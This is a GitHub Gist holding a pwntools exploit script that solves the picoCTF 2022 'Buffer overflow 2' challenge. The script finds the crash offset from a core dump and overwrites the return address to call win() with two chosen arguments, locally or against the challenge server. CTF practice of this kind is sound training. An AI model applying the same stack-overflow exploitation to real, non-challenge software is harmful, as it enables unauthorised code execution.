Last active
June 17, 2022 04:56
-
-
Save jktrn/c6c17fc63ca801d0b64d8bb5acc982c1 to your computer and use it in GitHub Desktop.
Solve for the pwn/binary challenge "Buffer overflow 2" from the picoCTF 2022 competition.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
elf = context.binary = ELF('./vuln') # sets context + elf object | |
host, port = 'saturn.picoctf.net', [PORT] | |
p = process(elf.path) # creates local process w/ elf object | |
p.sendline(cyclic(128)) # sends cyclic pattern to crash | |
p.wait() # sigsegv generates core dump | |
core = Coredump('./core') # parses core dump file | |
payload = flat([ | |
{cyclic_find(core.eip): elf.symbols.win}, # pads win address | |
elf.symbols.main, # return address | |
0xCAFEF00D, # parameter 1 | |
0xF00DF00D # parameter 2 | |
]) | |
if args.REMOTE: | |
p = remote(host, port) | |
else: | |
p = process(elf.path) | |
p.sendline(payload) | |
p.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment